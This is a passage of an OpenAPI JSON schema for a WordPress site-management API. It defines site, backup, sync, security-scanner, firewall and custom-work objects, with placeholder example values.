"pR7nK4xQ2mL9wJ6vT5hY8bFs" }, "AccountId": { "type": "string", "description": "Account ID.", "example": "3kf9m2a7" }, "NoteId": { "type": "string", "description": "Note ID.", "example": "e7a3c9f2d1b4856a3f2e9c7d1b4a6f8e2d5c7a9f3b1e4d6a" }, "AuthorId": { "type": "string", "description": "User ID.", "example": "5e2a7f9c" }, "CustomWorkId": { "type": "string", "description": "Custom work ID.", "example": "hT5bWx8nKq3mJr6vGs9fYd2a" }, "ClientId": { "type": "string", "description": "Client ID.", "example": "mT8rK3xN5pL7wJ2vQ9hY4bFe" }, "TeamMemberId": { "type": "string", "description": "Team member ID.", "example": "hY2nK8xR5mL3pQ7vT9wJ4bFc" }, "TagId": { "type": "string", "description": "Tag ID returned in tag lists and details. Tag IDs are numeric strings.", "example": "428" }, "StagingSiteId": { "type": "string", "description": "Staging site ID.", "example": "qW6nR9xK2mL4pJ8vT3hY7bFd" }, "Site": { "type": "object", "required": [ "id", "title", "url", "home_url", "created_at", "updated_at", "client", "tags", "connection", "server", "sync", "security", "backups", "performance", "uptime", "analytics", "activity_logs", "wp", "screenshot", "locked", "multisite" ], "additionalProperties": false, "description": "WordPress site available to you.", "properties": { "id": { "$ref": "#/components/schemas/SiteId" }, "title": { "type": "string", "description": "Display title for the site.", "example": "Example Site" }, "url": { "type": "string", "format": "uri", "description": "Site URL.", "example": "https://example.com" }, "home_url": { "type": "string", "format": "uri", "description": "WordPress home URL for the site.", "example": "https://example.com" }, "created_at": { "type": "string", "format": "date-time", "description": "Time when the site was added.", "example": "2026-01-10T10:00:00Z" }, "updated_at": { "type": "string", "format": "date-time", "description": "Time when the site was last updated.", "example": "2026-01-12T08:30:00Z" }, "client": { "oneOf": [ { "type": "object", "required": [ "id", "first_name", "last_name", "email", "company_name" ], "additionalProperties": false, "properties": { "id": { "$ref": "#/components/schemas/ClientId" }, "first_name": { "type": "string", "description": "Client first name.", "example": "John" }, "last_name": { "type": "string", "description": "Client last name.", "example": "Client" }, "email": { "type": "string", "format": "email", "description": "Client email address.", "example": "john@example.com" }, "company_name": { "type": "string", "description": "Client company name.", "example": "Example Co" } } }, { "type": "null" } ], "description": "Client assigned to the site, or `null` when no client is assigned." }, "tags": { "type": "array", "description": "Tags assigned to the site.", "items": { "type": "object", "required": [ "id", "name" ], "additionalProperties": false, "properties": { "id": { "$ref": "#/components/schemas/TagId" }, "name": { "type": "string", "description": "Tag name.", "example": "Production" } } } }, "connection": { "type": "object", "required": [ "status" ], "additionalProperties": false, "description": "Site connection state.", "properties": { "status": { "type": "string", "enum": [ "connected", "disconnected" ], "description": "Current site connection status.", "example": "connected" }, "sticky_ip": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Sticky IP returned only by the show response, or `null` when no sticky IP is configured.", "example": "192.168.1.1" }, "http_auth": { "oneOf": [ { "type": "object", "required": [ "username", "password" ], "additionalProperties": false, "properties": { "username": { "type": "string", "description": "HTTP auth username returned only by the show response.", "example": "admin" }, "password": { "type": "string", "description": "HTTP auth password returned only by the show response.", "example": "example-password" } } }, { "type": "null" } ], "description": "HTTP auth credentials returned only by the show response, or `null` when not configured." } } }, "server": { "type": "object", "required": [ "hosting", "mysql_version", "php_version" ], "additionalProperties": false, "description": "Server details collected from the site.", "properties": { "hosting": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Hosting provider name when known.", "example": "cloudways" }, "mysql_version": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "MySQL version reported by WordPress when known.", "example": "8.0" }, "php_version": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "PHP version reported by the site when known.", "example": "8.2" } } }, "sync": { "type": "object", "required": [ "last_sync_at", "next_sync_at", "last_sync_status", "last_sync_error", "interval", "daily_sync_time", "paused", "in_progress" ], "additionalProperties": false, "description": "Backup sync schedule and latest sync state.", "properties": { "last_sync_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Time when the site last synced.", "example": "2026-01-12T08:20:00Z" }, "next_sync_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Time when the next sync is scheduled.", "example": "2026-01-13T08:20:00Z" }, "last_sync_status": { "oneOf": [ { "type": "string", "enum": [ "succeeded", "failed", "cancelled" ] }, { "type": "null" } ], "description": "Latest visible sync status.", "example": "succeeded" }, "last_sync_error": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Latest sync failure message when available.", "example": null }, "interval": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Public sync interval.", "example": "24h" }, "daily_sync_time": { "oneOf": [ { "type": "string", "pattern": "^\\d{2}:\\d{2}:\\d{2}Z$" }, { "type": "null" } ], "description": "Daily sync time in UTC in `HH:MM:SSZ` format.", "example": "08:00:00Z" }, "paused": { "type": "boolean", "description": "Whether scheduled sync is paused.", "example": false }, "in_progress": { "type": "boolean", "description": "Whether a sync is currently running.", "example": false } } }, "security": { "type": "object", "required": [ "enabled", "scanner", "firewall" ], "additionalProperties": false, "description": "Security feature state for the site.", "properties": { "enabled": { "type": "boolean", "description": "Whether security scanning is enabled.", "example": true }, "scanner": { "type": "object", "required": [ "status", "malware_detected_at", "interval", "last_check_at", "next_check_at", "detections" ], "additionalProperties": false, "properties": { "status": { "type": "string", "enum": [ "clean", "hacked" ], "description": "Current malware scanner status.", "example": "clean" }, "malware_detected_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Time when malware was detected, or `null` for clean sites.", "example": null }, "interval": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Scanner interval.", "example": "24h" }, "last_check_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Time when the scanner last checked the site.", "example": "2026-01-12T08:20:00Z" }, "next_check_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Time when the next scanner check is scheduled.", "example": "2026-01-13T08:20:00Z" }, "detections": { "type": "object", "required": [ "files", "scripts", "cron_jobs" ], "additionalProperties": false, "properties": { "files": { "type": "integer", "description": "Detected malicious files count.", "example": 0 }, "scripts": { "type": "integer", "description": "Detected malicious scripts count.", "example": 0 }, "cron_jobs": { "type": "integer", "description": "Detected malicious cron jobs count.", "example": 0 } } }, "files": { "type": "object", "required": [ "total", "scanned" ], "additionalProperties": false, "description": "File scan counts returned only by the show response.", "properties": { "total": { "type": "integer", "description": "Total scannable files count.", "example": 3692 }, "scanned": { "type": "integer", "description": "Scanned files count.", "example": 3600 } } }, "database": { "type": "object", "required": [ "total", "scanned" ], "additionalProperties": false, "description": "Database scan counts returned only by the show response.", "properties": { "total": { "type": "integer", "description": "Total database tables count.", "example": 20 }, "scanned": { "type": "integer", "description": "Scanned database tables count.", "example": 18 } } } } }, "firewall": { "type": "object", "required": [ "enabled", "mode", "advanced", "bot_protection" ], "additionalProperties": false, "properties": { "enabled": { "type": "boolean", "description": "Whether firewall protection is enabled.", "example": true }, "mode": { "type": "string", "enum": [ "protect", "audit", "disabled" ], "description": "Current firewall mode.", "example": "protect" }, "advanced": { "type": "boolean", "description": "Whether advanced firewall is available.", "example": true }, "bot_protection": { "type": "object", "required": [ "enabled" ], "additionalProperties": false, "properties": { "enabled": { "type": "boolean", "description": "Whether bot protection is enabled.", "example": false } } } } } } }, "backups": { "type": "object", "required": [ "enabled", "real_time", "available_snapshots", "retention_days", "latest_snapshot" ], "additionalProperties": false, "description": "Backup feature state and latest backup summary.", "properties": { "enabled": { "type": "boolean", "description": "Whether backups are enabled.", "example": true }, "real_time": { "type": "boolean", "description": "Whether real-time backups are enabled.", "example": false }, "available_snapshots": { "type": "integer", "description": "Count of snapshots available within retention.", "example": 12 }, "retention_days": { "oneOf": [ { "type": "integer" }, { "type": "null" } ], "description": "Backup retention in days.", "example": 30 }, "latest_snapshot": { "oneOf": [ { "type": "object", "required": [ "id", "created_at", "status" ], "additionalProperties": false, "properties": { "id": { "$ref": "#/components/schemas/SnapshotId" }, "created_at": { "type": "string", "format": "date-time", "description": "Time when the latest snapshot was created.", "example": "2026-01-12T08:20:00Z" }, "status": { "type": "string", "enum": [ "succeeded" ], "description": "Latest visible snapshot status.", "example": "succeeded" } } }, { "type": "null" } ], "description": "Latest completed backup snapshot, or `null` when none is available." }, "files": { "$ref": "#/components/schemas/SiteBackupStats", "description": "File backup stats returned only by the show response." }, "database": { "$ref": "#/components/schemas/SiteBackupStats", "description": "Database backup stats returned only by the show response." } } }, "performance": { "$ref": "#/components/schemas/SiteFeatureState", "description": "Performance optimization feature state." }, "uptime": { "type": "object", "required": [ "enabled", "status" ], "additionalProperties": false, "description": "Uptime monitoring state.", "properties": { "enabled": { "type": "boolean", "description": "Whether uptime monitoring is enabled.", "example": true }, "status": { "oneOf": [ { "type": "string", "enum": [ "up", "down", "unknown" ] }, { "type": "null" } ], "description": "Current uptime status.", "example": "up" } } }, "analytics": { "$ref": "#/components/schemas/SiteFeatureState", "description": "Analytics feature state." }, "activity_logs": { "$ref": "#/components/schemas/SiteFeatureState", "description": "Activity logs feature state." }, "wp": { "type": "object", "required": [ "core", "default_wp_object_id" ], "additionalProperties": false, "description": "WordPress core and update summary.", "properties": { "core": { "type": "object", "required": [ "current_version", "latest_version", "update_available", "locked" ], "additionalProperties": false, "properties": { "current_version": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Current WordPress core version.", "example": "6.5.3" }, "latest_version": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Latest WordPress core version currently known.", "example": "6.5.5" }, "update_available": { "type": "boolean", "description": "Whether a WordPress core update is available.", "example": true }, "locked": { "type": "boolean", "description": "Whether WordPress core updates are locked.", "example": false }, "vulnerable": { "type": "boolean", "description": "WordPress core vulnerability state returned only by the show response.", "example": false } } }, "default_wp_object_id": { "oneOf": [ { "type": "integer" }, { "type": "null" } ], "description": "WordPress object ID for the default login user.", "example": 42 }, "updates": { "type": "object", "required": [ "plugins", "themes" ], "additionalProperties": false, "description": "WordPress update counts returned only by the show response.", "properties": { "plugins": { "type": "object", "required": [ "total", "available", "risk" ], "additionalProperties": false, "properties": { "total": { "type": "integer", "description": "Total installed plugins count.", "example": 10 }, "available": { "type": "integer", "description": "Available plugin updates count.", "example": 3 }, "risk": { "type": "object", "required": [ "high", "medium", "low" ], "additionalProperties": false, "properties": { "high": { "type": "integer", "description": "High-risk plugin updates count.", "example": 1 }, "medium": { "type": "integer", "description": "Medium-risk plugin updates count.", "example": 1 }, "low": { "type": "integer", "description": "Low-risk plugin updates count.", "example": 1 } } } } }, "themes": { "type": "object", "required": [ "total", "available" ], "additionalProperties": false, "properties": { "total": { "type": "integer", "description": "Total installed themes count.", "example": 2 }, "available": { "type": "integer", "description": "Available theme updates count.", "example": 1 } } } } } } }, "screenshot": { "oneOf": [ { "type": "object", "required": [ "thumbnail_url", "updated_at" ], "additionalProperties": false, "properties": { "thumbnail_url": { "type": "string", "format": "uri", "description": "Thumbnail screenshot URL.", "example": "https://example.com/thumb.jpg" }, "updated_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Time when the screenshot was last updated.", "example": "2026-01-12T08:30:00Z" }, "full_url": { "type": "string", "format": "uri", "description": "Full-size screenshot URL returned only by the show response.", "example": "https://example.com/full.jpg" } } }, { "type": "null" } ], "description": "Screenshot metadata, or `null` when no screenshot is available." }, "locked": { "type": "boolean", "description": "Whether the site is locked.", "example": false }, "multisite": { "type": "boolean", "description": "Whether the site is a WordPress multisite.", "example": false }, "health": { "type": "object", "required": [ "score", "uptime_percentage", "status" ], "additionalProperties": false, "description": "Site health summary returned only by the show response.", "properties": { "score": { "type": "integer", "description": "Health score from 0 to 100.", "example": 95 }, "uptime_percentage": { "oneOf": [ { "type": "number" }, { "type": "null" } ], "description": "Uptime percentage over the current health window.", "example": 99.9 }, "status": { "type": "string", "enum": [ "healthy", "warning", "critical" ], "description": "Health status derived from the score.", "example": "healthy" } } }, "subsites_count": { "type": "integer", "description": "Subsite count returned only by the show response for multisite installs.", "example": 3 }, "woocommerce": { "type": "boolean", "description": "Whether WooCommerce is active, returned only by the show response.", "example": false } }, "example": { "id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "title": "Example Site", "url": "https://example.com", "home_url": "https://example.com", "created_at": "2026-01-10T10:00:00Z", "updated_at": "2026-01-12T08:30:00Z", "client": { "id": "fT9nK3xR7mL5pQ2vW8hY6bFd", "first_name": "John", "last_name": "Client", "email": "client@example.com", "company_name": "Example Co" }, "tags": [ { "id": "428", "name": "Production" } ], "connection": { "status": "connected" }, "server": { "hosting": "cloudways", "mysql_version": "8.0", "php_version": "8.2" }, "sync": { "last_sync_at": "2026-01-12T08:20:00Z", "next_sync_at": "2026-01-13T08:20:00Z", "last_sync_status": "succeeded", "last_sync_error": null, "interval": "24h", "daily_sync_time": "08:00:00Z", "paused": false, "in_progress": false }, "security": { "enabled": true, "scanner": { "status": "clean", "malware_detected_at": null, "interval": "24h", "last_check_at": "2026-01-12T08:20:00Z", "next_check_at": "2026-01-13T08:20:00Z", "detections": { "files": 0, "scripts": 0, "cron_jobs": 0 } }, "firewall": { "enabled": true, "mode": "protect", "advanced": true, "bot_protection": { "enabled": false } } }, "backups": { "enabled": true, "real_time": false, "available_snapshots": 12, "retention_days": 30, "latest_snapshot": { "id": "65a8f4c2d1b3e7f9a0c5d8e2", "created_at": "2026-01-12T08:20:00Z", "status": "succeeded" } }, "performance": { "enabled": false }, "uptime": { "enabled": true, "status": "up" }, "analytics": { "enabled": true }, "activity_logs": { "enabled": true }, "wp": { "core": { "current_version": "6.5.3", "latest_version": "6.5.5", "update_available": true, "locked": false }, "default_wp_object_id": 42 }, "screenshot": { "thumbnail_url": "https://example.com/thumb.jpg", "updated_at": "2026-01-12T08:30:00Z" }, "locked": false, "multisite": false } }, "ListSitesRequest": { "type": "object", "required": [], "additionalProperties": true, "description": "Query parameters for listing and ordering sites.", "properties": { "page": { "type": "integer", "minimum": 1, "default": 1, "description": "Page number. Defaults to 1.", "example": 1 }, "perPage": { "type": "integer", "minimum": 1, "maximum": 100, "default": 100, "description": "Number of items per page (max 100, default 100).", "example": 100 }, "sort": { "$ref": "#/components/schemas/ListSitesSort" }, "filters": { "$ref": "#/components/schemas/ListSitesFilters" } } }, "ListSitesResponse": { "type": "object", "required": [ "sites", "meta" ], "additionalProperties": false, "description": "Paginated response envelope for sites available to you.", "properties": { "sites": { "type": "array", "description": "WordPress sites available to you.", "items": { "$ref": "#/components/schemas/Site" } }, "meta": { "type": "object", "required": [ "pagination" ], "additionalProperties": false, "description": "Pagination metadata.", "properties": { "pagination": { "type": "object", "required": [ "page", "perPage", "totalPages", "totalItems" ], "additionalProperties": false, "properties": { "page": { "type": "integer", "description": "Current page number.", "example": 1 }, "perPage": { "type": "integer", "description": "Number of items returned per page.", "example": 100 }, "totalPages": { "type": "integer", "description": "Total page count.", "example": 1 }, "totalItems": { "type": "integer", "description": "Total item count.", "example": 2 } } } } } }, "example": { "sites": [ { "id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "title": "Example Site", "url": "https://example.com", "home_url": "https://example.com", "created_at": "2026-01-10T10:00:00Z", "updated_at": "2026-01-12T08:30:00Z", "client": { "id": "fT9nK3xR7mL5pQ2vW8hY6bFd", "first_name": "John", "last_name": "Client", "email": "client@example.com", "company_name": "Example Co" }, "tags": [ { "id": "428", "name": "Production" } ], "connection": { "status": "connected" }, "server": { "hosting": "cloudways", "mysql_version": "8.0", "php_version": "8.2" }, "sync": { "last_sync_at": "2026-01-12T08:20:00Z", "next_sync_at": "2026-01-13T08:20:00Z", "last_sync_status": "succeeded", "last_sync_error": null, "interval": "24h", "daily_sync_time": "08:00:00Z", "paused": false, "in_progress": false }, "security": { "enabled": true, "scanner": { "status": "clean", "malware_detected_at": null, "interval": "24h", "last_check_at": "2026-01-12T08:20:00Z", "next_check_at": "2026-01-13T08:20:00Z", "detections": { "files": 0, "scripts": 0, "cron_jobs": 0 } }, "firewall": { "enabled": true, "mode": "protect", "advanced": true, "bot_protection": { "enabled": false } } }, "backups": { "enabled": true, "real_time": false, "available_snapshots": 12, "retention_days": 30, "latest_snapshot": { "id": "65a8f4c2d1b3e7f9a0c5d8e2", "created_at": "2026-01-12T08:20:00Z", "status": "succeeded" } }, "performance": { "enabled": false }, "uptime": { "enabled": true, "status": "up" }, "analytics": { "enabled": true }, "activity_logs": { "enabled": true }, "wp": { "core": { "current_version": "6.5.3", "latest_version": "6.5.5", "update_available": true, "locked": false }, "default_wp_object_id": 42 }, "screenshot": { "thumbnail_url": "https://example.com/thumb.jpg", "updated_at": "2026-01-12T08:30:00Z" }, "locked": false, "multisite": false }, { "id": "a4d8f2c1b6e94d0a8f73c2e5d1b9a604", "title": "Storefront", "url": "https://store.example.com", "home_url": "https://store.example.com", "created_at": "2026-01-09T08:00:00Z", "updated_at": "2026-01-11T07:30:00Z", "client": { "id": "kL4pQ8vT2hY6bFd9nR3xM7wJ", "first_name": "Maya", "last_name": "Store", "email": "maya@example.com", "company_name": "Storefront Co" }, "tags": [ { "id": "512", "name": "Ecommerce" } ], "connection": { "status": "connected" }, "server": { "hosting": "kinsta", "mysql_version": "8.0", "php_version": "8.1" }, "sync": { "last_sync_at": "2026-01-11T07:20:00Z", "next_sync_at": "2026-01-12T07:20:00Z", "last_sync_status": "succeeded", "last_sync_error": null, "interval": "24h", "daily_sync_time": "07:00:00Z", "paused": false, "in_progress": false }, "security": { "enabled": true, "scanner": { "status": "hacked", "malware_detected_at": "2026-01-11T07:20:00Z", "interval": "24h", "last_check_at": "2026-01-11T07:20:00Z", "next_check_at": "2026-01-12T07:20:00Z", "detections": { "files": 2, "scripts": 1, "cron_jobs": 0 } }, "firewall": { "enabled": true, "mode": "protect", "advanced": true, "bot_protection": { "enabled": true } } }, "backups": { "enabled": true, "real_time": false, "available_snapshots": 8, "retention_days": 30, "latest_snapshot": { "id": "74b9e1d3f5a7c2e9d0b6f8a1", "created_at": "2026-01-11T07:20:00Z", "status": "succeeded" } }, "performance": { "enabled": true }, "uptime": { "enabled": true, "status": "up" }, "analytics": { "enabled": false }, "activity_logs": { "enabled": true }, "wp": { "core": { "current_version": "6.5.5", "latest_version": "6.5.5", "update_available": false, "locked": false }, "default_wp_object_id": 7 }, "screenshot": { "thumbnail_url": "https://store.example.com/thumb.jpg", "updated_at": "2026-01-11T07:30:00Z" }, "locked": false, "multisite": false } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } }, "CreateSiteRequest": { "type": "object", "required": [ "site" ], "additionalProperties": true, "description": "Request body for creating a site.", "properties": { "site": { "type": "object", "required": [ "url" ], "additionalProperties": true, "description": "WordPress site fields to save. `url` is required. Omit `connection` unless the site needs a sticky IP or HTTP basic auth.", "properties": { "url": { "type": "string", "description": "WordPress site URL to add.", "example": "https://example.com" }, "connection": { "type": "object", "required": [], "additionalProperties": true, "description": "Optional connection settings. Omit when the site does not need a sticky IP or HTTP basic auth.", "properties": { "sticky_ip": { "type": "string", "description": "Sticky IP address to use for site connection. Do not send `null`.", "example": "192.168.1.1" }, "http_auth": { "type": "object", "required": [ "username", "password" ], "additionalProperties": true, "description": "HTTP basic auth credentials for protected sites. Do not send `null`.", "properties": { "username": { "type": "string", "description": "HTTP auth username.", "example": "admin" }, "password": { "type": "string", "description": "HTTP auth password.", "example": "example-password" } } } } } } } } }, "CreateSiteResponse": { "type": "object", "required": [ "site" ], "additionalProperties": false, "description": "Response envelope returned after a site is created.", "properties": { "site": { "type": "object", "required": [ "id", "url", "connection", "created_at", "updated_at" ], "additionalProperties": false, "properties": { "id": { "$ref": "#/components/schemas/SiteId" }, "url": { "type": "string", "format": "uri", "description": "Site URL.", "example": "https://example.com" }, "connection": { "type": "object", "required": [ "status" ], "additionalProperties": false, "properties": { "status": { "type": "string", "enum": [ "connected", "disconnected" ], "description": "Current site connection status.", "example": "disconnected" } } }, "created_at": { "type": "string", "format": "date-time", "description": "Time when the site was created.", "example": "2026-01-10T10:00:00Z" }, "updated_at": { "type": "string", "format": "date-time", "description": "Time when the site was last updated.", "example": "2026-01-10T10:00:00Z" } } } } }, "ShowSiteResponse": { "type": "object", "required": [ "site" ], "additionalProperties": false, "description": "Response envelope returned with one site.", "properties": { "site": { "$ref": "#/components/schemas/Site" } }, "example": { "site": { "id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "title": "Example Site", "url": "https://example.com", "home_url": "https://example.com", "created_at": "2026-01-10T10:00:00Z", "updated_at": "2026-01-12T08:30:00Z", "client": { "id": "fT9nK3xR7mL5pQ2vW8hY6bFd", "first_name": "John", "last_name": "Client", "email": "client@example.com", "company_name": "Example Co" }, "tags": [ { "id": "428", "name": "Production" } ], "connection": { "status": "connected", "sticky_ip": "192.168.1.1", "http_auth": { "username": "admin", "password": "example-password" } }, "server": { "hosting": "cloudways", "mysql_version": "8.0", "php_version": "8.2" }, "sync": { "last_sync_at": "2026-01-12T08:20:00Z", "next_sync_at": "2026-01-13T08:20:00Z", "last_sync_status": "succeeded", "last_sync_error": null, "interval": "24h", "daily_sync_time": "08:00:00Z", "paused": false, "in_progress": false }, "security": { "enabled": true, "scanner": { "status": "clean", "malware_detected_at": null, "interval": "24h", "last_check_at": "2026-01-12T08:20:00Z", "next_check_at": "2026-01-13T08:20:00Z", "detections": { "files": 0, "scripts": 0, "cron_jobs": 0 }, "files": { "total": 3692, "scanned": 3600 }, "database": { "total": 20, "scanned": 18 } }, "firewall": { "enabled": true, "mode": "protect", "advanced": true, "bot_protection": { "enabled": false } } }, "backups": { "enabled": true, "real_time": false, "available_snapshots": 12, "retention_days": 30, "latest_snapshot": { "id": "65a8f4c2d1b3e7f9a0c5d8e2", "created_at": "2026-01-12T08:20:00Z", "status": "succeeded" }, "files": { "count": { "total": 3692, "synced": 3600, "ignored": 92 }, "size": { "total": 52428800, "synced": 51380224, "ignored": 1048576 } }, "database": { "count": { "total": 20, "synced": 18, "ignored": 2 }, "size": { "total": 1048576, "synced": 1048576, "ignored": 0 } } }, "performance": { "enabled": false }, "uptime": { "enabled": true, "status": "up" }, "analytics": { "enabled": true }, "activity_logs": { "enabled": true }, "wp": { "core": { "current_version": "6.5.3", "latest_version": "6.5.5", "update_available": true, "locked": false, "vulnerable": false }, "default_wp_object_id": 42, "updates": { "plugins": { "total": 10, "available": 3, "risk": { "high": 1, "medium": 1, "low": 1 } }, "themes": { "total": 2, "available": 1 } } }, "screenshot": { "thumbnail_url": "https://example.com/thumb.jpg", "updated_at": "2026-01-12T08:30:00Z", "full_url": "https://example.com/full.jpg" }, "locked": false, "multisite": false, "health": { "score": 95, "uptime_percentage": 99.9, "status": "healthy" }, "woocommerce": false } } }, "UpdateSiteRequest": { "type": "object", "required": [ "site" ], "additionalProperties": true, "description": "Request body for partially updating a site.", "properties": { "site": { "type": "object", "required": [], "additionalProperties": true, "description": "Fields to update for the site. Include at least one editable field. Omitted fields are left unchanged, `connection.sticky_ip: null` clears the sticky IP, and `connection.http_auth: null` clears HTTP auth credentials.", "properties": { "url": { "type": "string", "description": "New site URL.", "example": "https://updated-example.com" }, "connection": { "type": "object", "required": [], "additionalProperties": true, "description": "Connection settings to update. Include `sticky_ip` or `http_auth`.", "properties": { "sticky_ip": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Sticky IP address, or `null` to clear it.", "example": null }, "http_auth": { "oneOf": [ { "type": "object", "required": [ "username", "password" ], "additionalProperties": true, "properties": { "username": { "type": "string", "description": "HTTP auth username.", "example": "admin" }, "password": { "type": "string", "description": "HTTP auth password.", "example": "example-password" } } }, { "type": "null" } ], "description": "HTTP basic auth credentials, or `null` to clear them." } } }, "sync": { "type": "object", "required": [], "additionalProperties": true, "description": "Sync settings to update. Include `daily_sync_time`.", "properties": { "daily_sync_time": { "type": "string", "pattern": "^\\d{2}:\\d{2}:\\d{2}Z$", "description": "Daily sync time in UTC. Use `HH:MM:SSZ` with valid hour, minute, and second values.", "example": "08:00:00Z" } } } } } } }, "UpdateSiteResponse": { "type": "object", "required": [ "site" ], "additionalProperties": false, "description": "Response envelope returned after a site is updated.", "properties": { "site": { "type": "object", "required": [ "id", "url", "connection", "sync", "updated_at" ], "additionalProperties": false, "properties": { "id": { "$ref": "#/components/schemas/SiteId" }, "url": { "type": "string", "format": "uri", "description": "Site URL.", "example": "https://updated-example.com" }, "connection": { "type": "object", "required": [ "status" ], "additionalProperties": false, "properties": { "status": { "type": "string", "enum": [ "connected", "disconnected" ], "description": "Current site connection status.", "example": "connected" } } }, "sync": { "type": "object", "required": [ "daily_sync_time" ], "additionalProperties": false, "properties": { "daily_sync_time": { "oneOf": [ { "type": "string", "pattern": "^\\d{2}:\\d{2}:\\d{2}Z$" }, { "type": "null" } ], "description": "Daily sync time in UTC in `HH:MM:SSZ` format.", "example": "08:00:00Z" } } }, "updated_at": { "type": "string", "format": "date-time", "description": "Time when the site was last updated.", "example": "2026-01-12T08:30:00Z" } } } } }, "SyncSiteRequest": { "type": "object", "required": [], "additionalProperties": true, "description": "Optional request body for starting a site sync. Omit the body to start a sync without a note.", "properties": { "sync": { "type": "object", "required": [], "additionalProperties": true, "description": "Optional sync request options.", "properties": { "message": { "type": "string", "description": "Optional note attached to the sync.", "example": "Before plugin update" } } } } }, "SyncSiteResponse": { "type": "object", "required": [ "sync" ], "additionalProperties": false, "description": "Response envelope returned after a site sync is started.", "properties": { "sync": { "type": "object", "required": [ "snapshot_id", "in_progress" ], "additionalProperties": false, "properties": { "snapshot_id": { "type": "string", "description": "Snapshot ID created for the sync.", "example": "65a8f4c2d1b3e7f9a0c5d8e2" }, "in_progress": { "type": "boolean", "description": "Whether the sync is in progress.", "example": true } } } } }, "CustomWork": { "type": "object", "required": [ "id", "title", "description", "performed_on", "created_at", "updated_at" ], "description": "Work item saved for one WordPress site. It captures what was done, when it was performed, and when the entry was created or changed.", "properties": { "id": { "$ref": "#/components/schemas/CustomWorkId" }, "title": { "type": "string", "maxLength": 150, "description": "Short title describing the work performed.", "example": "SEO optimization" }, "description": { "type": "string", "maxLength": 500, "description": "Optional detail about the work performed. Empty string means no description was provided.", "example": "Fixed sitemap and schema issues" }, "performed_on": { "type": "string", "format": "date", "description": "Calendar date when the work was performed, independent of when the entry was created.", "example": "2026-02-20" }, "created_at": { "type": "string", "format": "date-time", "description": "Time when the custom work entry was created.", "example": "2026-02-20T10:00:00Z" }, "updated_at": { "type": "string", "format": "date-time", "description": "Time when the custom work entry was last updated.", "example": "2026-02-20T10:00:00Z" } } }, "ListSiteCustomWorksSort": { "type": "string", "default": "performed_on,desc", "description": "Sort order for returned custom work entries.", "example": "performed_on,desc" }, "ListSiteCustomWorksFilters": { "type": "object", "required": [], "additionalProperties": true, "description": "Filters applied to returned custom work entries.", "properties": { "search:contains": { "type": "string", "description": "Match entries whose title or description contains this value.", "example": "SEO" }, "title:contains": { "type": "string", "description": "Match entries whose title contains this value.", "example": "SEO" }, "description:contains": { "type": "string", "description": "Match entries whose description contains this value.", "example": "schema" }, "performed_on:eq": { "type": "string", "format": "date", "description": "Return entries performed on this date.", "example": "2026-01-15" }, "performed_on:gte": { "type": "string", "format": "date", "description": "Return entries performed on or after this date.", "example": "2026-01-01" }, "performed_on:lte": { "type": "string", "format": "date", "description": "Return entries performed on or before this date.", "example": "2026-01-31" }, "created_at:gte": { "type": "string", "format": "date-time", "description": "Return entries created at or after this timestamp.", "example": "2026-01-01T00:00:00Z" }, "created_at:lte": { "type": "string", "format": "date-time", "description": "Return entries created at or before this timestamp.", "example": "2026-01-31T23:59:59Z" }, "updated_at:gte": { "type": "string", "format": "date-time", "description": "Return entries updated at or after this timestamp.", "example": "2026-01-01T00:00:00Z" }, "updated_at:lte": { "type": "string", "format": "date-time", "description": "Return entries updated at or before this timestamp.", "example": "2026-01-31T23:59:59Z" } }, "example": { "title:contains": "SEO", "performed_on:gte": "2026-01-01" } }, "ListSiteCustomWorksRequest": { "type": "object", "required": [], "additionalProperties": true, "description": "Query parameters for listing custom work entries.", "properties": { "page": { "type": "integer", "minimum": 1, "default": 1, "description": "Page number.", "example": 1 }, "perPage": { "type": "integer", "minimum": 1, "maximum": 100, "default": 100, "description": "Number of custom work entries per page.", "example": 100 }, "sort": { "$ref": "#/components/schemas/ListSiteCustomWorksSort" }, "filters": { "$ref": "#/components/schemas/ListSiteCustomWorksFilters" } }, "example": { "page": 1, "perPage": 100, "sort": "performed_on,desc", "filters": { "title:contains": "SEO", "performed_on:gte": "2026-01-01" } } }, "ListSiteCustomWorksResponse": { "type": "object", "required": [ "custom_works", "meta" ], "description": "Paginated response envelope for custom work entries.", "properties": { "custom_works": { "type": "array", "description": "Custom work entries visible on this page.", "items": { "$ref": "#/components/schemas/CustomWork" } }, "meta": { "type": "object", "required": [ "pagination" ], "description": "Pagination metadata for this custom work list response.", "properties": { "pagination": { "$ref": "#/components/schemas/PaginationMetadata" } } } } }, "CreateSiteCustomWorksRequest": { "type": "object", "required": [ "custom_works" ], "additionalProperties": true, "description": "Fields for creating custom work entries for the selected site.", "properties": { "custom_works": { "type": "array", "minItems": 1, "description": "Custom work entries to create for the selected site.", "items": { "type": "object", "required": [ "title", "performed_on" ], "additionalProperties": true, "description": "One completed work item, including its title and performed date.", "properties": { "title": { "type": "string", "maxLength": 150, "description": "Short title for the work performed.", "example": "CDN setup" }, "description": { "type": "string", "maxLength": 500, "description": "Optional detail about the work performed. Omit this field or send an empty string when there is no description.", "example": "Configured CDN and cache headers" }, "performed_on": { "type": "string", "format": "date", "description": "Calendar date when the work was performed.", "example": "2026-02-21" } } } } } }, "CreateSiteCustomWorksResponse": { "type": "object", "required": [ "custom_works" ], "description": "Response envelope 